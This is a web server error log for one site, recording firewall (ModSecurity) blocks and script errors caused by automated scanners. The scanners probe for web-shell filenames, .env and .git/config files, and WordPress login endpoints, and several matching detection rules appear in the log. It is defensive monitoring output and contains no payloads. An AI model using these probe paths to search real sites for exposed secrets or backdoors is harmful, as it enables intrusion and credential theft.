[Sat Dec 06 20:16:12.437966 2025] [:error] [pid 61303:tid 61318] [client 4.147.185.30:64921] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aTQejNwK_fe00OH7zy6apwAAAMw"]
[Sat Dec 06 20:16:12.472346 2025] [:error] [pid 61215:tid 61236] [client 4.147.185.30:64917] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aTQejOOOZ8nTCBYuI-xM8AAAABE"]
[Sat Dec 06 20:16:12.506151 2025] [:error] [pid 1727:tid 1740] [client 4.147.185.30:9268] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "aTQejMD83luYT37-ZaUN9wAAAks"]
[Sat Dec 06 20:16:12.558892 2025] [:error] [pid 52809:tid 52831] [client 4.147.185.30:9644] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "aTQejOrRwgsmpIJQ2qZ-1AAAAhQ"]
[Sat Dec 06 20:16:12.616768 2025] [:error] [pid 61215:tid 61238] [client 4.147.185.30:9608] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "aTQejOOOZ8nTCBYuI-xM8QAAABM"]
[Sat Dec 06 20:16:12.668464 2025] [:error] [pid 52809:tid 52823] [client 4.147.185.30:9632] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "aTQejOrRwgsmpIJQ2qZ-1QAAAgw"]
[Sat Dec 06 20:16:12.783081 2025] [:error] [pid 61303:tid 61330] [client 4.147.185.30:64551] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aTQejNwK_fe00OH7zy6aqAAAANc"]
[Sat Dec 06 20:16:12.855523 2025] [:error] [pid 61303:tid 61319] [client 4.147.185.30:9649] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aTQejNwK_fe00OH7zy6aqQAAAM0"]
[Sat Dec 06 20:16:13.070437 2025] [:error] [pid 35622:tid 35674] [client 4.147.185.30:60810] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aTQejSOSP_9DVLgFwI7CbQAAAZc"]
[Sat Dec 06 20:16:13.112728 2025] [:error] [pid 52809:tid 52825] [client 4.147.185.30:64005] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aTQejerRwgsmpIJQ2qZ-1wAAAg4"]
[Sat Dec 06 20:16:13.144928 2025] [:error] [pid 52809:tid 52830] [client 4.147.185.30:60801] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aTQejerRwgsmpIJQ2qZ-2AAAAhM"]
[Sat Dec 06 20:16:13.180562 2025] [:error] [pid 52809:tid 52826] [client 4.147.185.30:9245] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aTQejerRwgsmpIJQ2qZ-2QAAAg8"]
[Sat Dec 06 20:16:13.212296 2025] [:error] [pid 52809:tid 52811] [client 4.147.185.30:60849] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aTQejerRwgsmpIJQ2qZ-2gAAAgA"]
[Sat Dec 06 20:16:13.253603 2025] [:error] [pid 52809:tid 52815] [client 4.147.185.30:64017] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aTQejerRwgsmpIJQ2qZ-2wAAAgQ"]
[Sat Dec 06 20:16:13.296451 2025] [:error] [pid 52809:tid 52818] [client 4.147.185.30:64910] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aTQejerRwgsmpIJQ2qZ-3AAAAgc"]
[Sat Dec 06 20:16:13.352689 2025] [:error] [pid 1838:tid 1862] [client 4.147.185.30:64924] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aTQejS5zgnu67Yo7vrYVBAAAApA"]
[Sat Dec 06 20:16:13.420675 2025] [:error] [pid 1838:tid 1849] [client 4.147.185.30:9269] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aTQejS5zgnu67Yo7vrYVBQAAAoM"]
[Sat Dec 06 20:16:13.465178 2025] [:error] [pid 1838:tid 1853] [client 4.147.185.30:9221] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aTQejS5zgnu67Yo7vrYVBgAAAoc"]
[Sat Dec 06 20:16:13.565114 2025] [:error] [pid 35622:tid 35673] [client 4.147.185.30:64023] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aTQejSOSP_9DVLgFwI7CbgAAAZY"]
[Sat Dec 06 20:16:13.679036 2025] [:error] [pid 1727:tid 1738] [client 4.147.185.30:60816] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aTQejcD83luYT37-ZaUN-AAAAkk"]
[Sat Dec 06 20:16:13.741361 2025] [:error] [pid 1727:tid 1739] [client 4.147.185.30:64040] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aTQejcD83luYT37-ZaUN-QAAAko"]
[Sat Dec 06 20:16:13.803072 2025] [:error] [pid 61217:tid 61293] [client 4.147.185.30:60862] [client 4.147.185.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aTQejVdSKQYfLI3fYo6G3wAAAJQ"]
[Sat Dec 06 20:42:03.729418 2025] [proxy_fcgi:error] [pid 61303:tid 61312] [client 45.86.202.187:32029] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:42:04.039023 2025] [proxy_fcgi:error] [pid 61303:tid 61317] [client 45.86.202.187:32029] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:42:04.652705 2025] [proxy_fcgi:error] [pid 61303:tid 61328] [client 45.86.202.187:32029] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:42:04.959142 2025] [proxy_fcgi:error] [pid 61303:tid 61309] [client 45.86.202.187:32029] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:42:05.277237 2025] [proxy_fcgi:error] [pid 61303:tid 61322] [client 45.86.202.187:32029] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:42:05.585210 2025] [proxy_fcgi:error] [pid 61303:tid 61307] [client 45.86.202.187:32029] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:42:05.891820 2025] [proxy_fcgi:error] [pid 61303:tid 61325] [client 45.86.202.187:32029] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:42:06.812143 2025] [proxy_fcgi:error] [pid 61303:tid 61306] [client 45.86.202.187:32029] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:42:07.118720 2025] [proxy_fcgi:error] [pid 61303:tid 61323] [client 45.86.202.187:32029] AH01071: Got error 'Primary script unknown'
[Sat Dec 06 20:42:07.731697 2025] [:error] [pid 61303:tid 61308] [client 45.86.202.187:32029] [client 45.86.202.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aTQkn9wK_fe00OH7zy6fgQAAAMI"]
[Sat Dec 06 20:42:19.333480 2025] [:error] [pid 35622:tid 35659] [client 45.86.202.162:64643] [client 45.86.202.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.local"] [unique_id "aTQkqyOSP_9DVLgFwI7GlwAAAYg"]
[Sat Dec 06 20:42:29.935869 2025] [:error] [pid 1727:tid 1738] [client 45.86.202.166:62857] [client 45.86.202.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "aTQktcD83luYT37-ZaUSGwAAAkk"]
[Sat Dec 06 22:58:15.022488 2025] [proxy_fcgi:error] [pid 61216:tid 61253] [client 145.239.10.137:38125] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/new4.php
[Sat Dec 06 22:58:15.022488 2025] [proxy_fcgi:error] [pid 61216:tid 61265] [client 145.239.10.137:42149] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/new.php
[Sun Dec 07 02:23:03.028597 2025] [:error] [pid 64409:tid 64479] [client 78.84.169.238:7876] [client 78.84.169.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "aTR0h0GzBNWhWo-aXwRFfQAAARI"]
[Sun Dec 07 05:12:33.028628 2025] [proxy_fcgi:error] [pid 13234:tid 13262] [client 45.86.202.186:21267] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:12:33.341626 2025] [proxy_fcgi:error] [pid 13234:tid 13254] [client 45.86.202.186:21267] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:12:34.569643 2025] [proxy_fcgi:error] [pid 13234:tid 13248] [client 45.86.202.186:21267] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:12:35.298635 2025] [proxy_fcgi:error] [pid 13234:tid 13264] [client 45.86.202.186:21267] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:12:35.659630 2025] [proxy_fcgi:error] [pid 13234:tid 13257] [client 45.86.202.186:21267] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:12:35.982617 2025] [proxy_fcgi:error] [pid 13234:tid 13252] [client 45.86.202.186:21267] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:12:36.299613 2025] [proxy_fcgi:error] [pid 13234:tid 13253] [client 45.86.202.186:21267] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:12:37.275660 2025] [proxy_fcgi:error] [pid 13234:tid 13255] [client 45.86.202.186:21267] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:12:37.629622 2025] [proxy_fcgi:error] [pid 13234:tid 13259] [client 45.86.202.186:21267] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 05:12:38.278794 2025] [:error] [pid 13234:tid 13254] [client 45.86.202.186:21267] [client 45.86.202.186] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aTScRu6_dquQqQ60IZ-jagAAAY0"]
[Sun Dec 07 05:12:39.898393 2025] [:error] [pid 7273:tid 7282] [client 45.86.202.179:43845] [client 45.86.202.179] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.example"] [unique_id "aTScR_pR7YTD7JcHjhGcyQAAAUc"]
[Sun Dec 07 05:12:50.525233 2025] [:error] [pid 34195:tid 34215] [client 45.86.202.162:61191] [client 45.86.202.162] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.backup"] [unique_id "aTScUhrSxOOdwv3vX3xeTgAAANE"]
[Sun Dec 07 05:12:51.192816 2025] [:error] [pid 7089:tid 7108] [client 45.86.202.225:54231] [client 45.86.202.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/config/.env"] [unique_id "aTScU4JPZ-pZM-y51NHupAAAARE"]
[Sun Dec 07 05:51:09.956532 2025] [:error] [pid 34108:tid 34115] [client 136.144.43.218:39927] [client 136.144.43.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.43.218, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aTSlTaLvdvAppF-gXotF3wAAAAI"]
[Sun Dec 07 05:51:09.970086 2025] [proxy_fcgi:error] [pid 34108:tid 34115] [client 136.144.43.218:39927] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 06:00:45.533963 2025] [:error] [pid 7273:tid 7277] [client 167.253.18.184:42593] [client 167.253.18.184] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTSnjfpR7YTD7JcHjhG_9gAAAUI"]
[Sun Dec 07 06:01:30.445065 2025] [:error] [pid 13234:tid 13240] [client 88.218.46.147:52233] [client 88.218.46.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTSnuu6_dquQqQ60IZ_BVgAAAYA"]
[Sun Dec 07 06:01:34.499280 2025] [:error] [pid 34195:tid 34208] [client 199.96.166.209:12711] [client 199.96.166.209] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||agraphics.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTSnvhrSxOOdwv3vX3x2KwAAAMo"], referer: https://www.google.com/
[Sun Dec 07 09:58:23.956396 2025] [proxy_fcgi:error] [pid 25600:tid 25629] [client 108.143.65.196:63967] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Sun Dec 07 09:58:36.903812 2025] [proxy_fcgi:error] [pid 25694:tid 25701] [client 108.143.65.196:56131] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Sun Dec 07 09:58:50.204639 2025] [proxy_fcgi:error] [pid 36068:tid 36085] [client 108.143.65.196:55170] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Sun Dec 07 09:59:06.007907 2025] [proxy_fcgi:error] [pid 36068:tid 36086] [client 108.143.65.196:60488] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Sun Dec 07 10:48:17.293593 2025] [:error] [pid 25600:tid 25623] [client 3.14.136.216:49341] [client 3.14.136.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.14.136.216, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aTTq8YX3SVrXRURpt5IKJgAAAFA"]
[Sun Dec 07 10:48:17.303118 2025] [proxy_fcgi:error] [pid 25600:tid 25623] [client 3.14.136.216:49341] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 12:47:41.827956 2025] [:error] [pid 25602:tid 25682] [client 85.209.135.111:48376] [client 85.209.135.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTUG7RMayYLriq9gRde7HgAAANQ"]
[Sun Dec 07 13:37:41.235141 2025] [:error] [pid 25600:tid 25631] [client 85.209.135.111:34888] [client 85.209.135.111] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aTUSpYX3SVrXRURpt5IuRAAAAFg"]
[Sun Dec 07 13:58:07.516890 2025] [:error] [pid 36068:tid 36079] [client 170.64.236.239:58616] [client 170.64.236.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTUXb1GuxqM4ZYob8lPL9gAAAAk"]
[Sun Dec 07 13:58:07.590675 2025] [:error] [pid 25694:tid 25711] [client 170.64.236.239:48204] [client 170.64.236.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTUXb0f7996cewJ5N28EcQAAAQ8"]
[Sun Dec 07 14:15:26.914091 2025] [:error] [pid 25694:tid 25710] [client 103.81.118.14:5024] [client 103.81.118.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.81.118.14, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aTUbfkf7996cewJ5N28I7gAAAQ4"]
[Sun Dec 07 14:15:26.927273 2025] [proxy_fcgi:error] [pid 25694:tid 25710] [client 103.81.118.14:5024] AH01071: Got error 'Primary script unknown'
[Sun Dec 07 15:04:57.203285 2025] [:error] [pid 25694:tid 25705] [client 170.64.236.239:59156] [client 170.64.236.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTUnGUf7996cewJ5N28UxwAAAQk"]
[Sun Dec 07 15:04:57.291095 2025] [:error] [pid 25694:tid 25708] [client 170.64.236.239:45228] [client 170.64.236.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTUnGUf7996cewJ5N28UyAAAAQw"]
[Sun Dec 07 16:05:34.829591 2025] [proxy_fcgi:error] [pid 25601:tid 25640] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Sun Dec 07 16:05:34.943668 2025] [:error] [pid 25601:tid 25653] [client 4.189.120.86:5072] [client 4.189.120.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.189.120.86, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aTU1TqtsSIqGPs4YVxE-vwAAAJI"], referer: https://www.google.com/
[Sun Dec 07 16:05:34.950100 2025] [proxy_fcgi:error] [pid 25601:tid 25653] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Sun Dec 07 16:05:35.069436 2025] [proxy_fcgi:error] [pid 25601:tid 25659] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Sun Dec 07 16:05:35.189671 2025] [proxy_fcgi:error] [pid 25601:tid 25645] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Sun Dec 07 16:05:35.307397 2025] [proxy_fcgi:error] [pid 25601:tid 25646] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Sun Dec 07 16:05:35.436124 2025] [proxy_fcgi:error] [pid 25601:tid 25652] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Sun Dec 07 16:05:35.554838 2025] [proxy_fcgi:error] [pid 25601:tid 25642] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Sun Dec 07 16:05:35.671982 2025] [proxy_fcgi:error] [pid 25601:tid 25651] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Sun Dec 07 16:05:35.791814 2025] [proxy_fcgi:error] [pid 25601:tid 25644] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Sun Dec 07 16:05:35.909854 2025] [proxy_fcgi:error] [pid 25601:tid 25657] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Sun Dec 07 16:05:36.028957 2025] [proxy_fcgi:error] [pid 25601:tid 25658] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Sun Dec 07 16:05:36.146772 2025] [proxy_fcgi:error] [pid 25601:tid 25636] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Sun Dec 07 16:05:36.384944 2025] [proxy_fcgi:error] [pid 25601:tid 25637] [client 4.189.120.86:5072] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
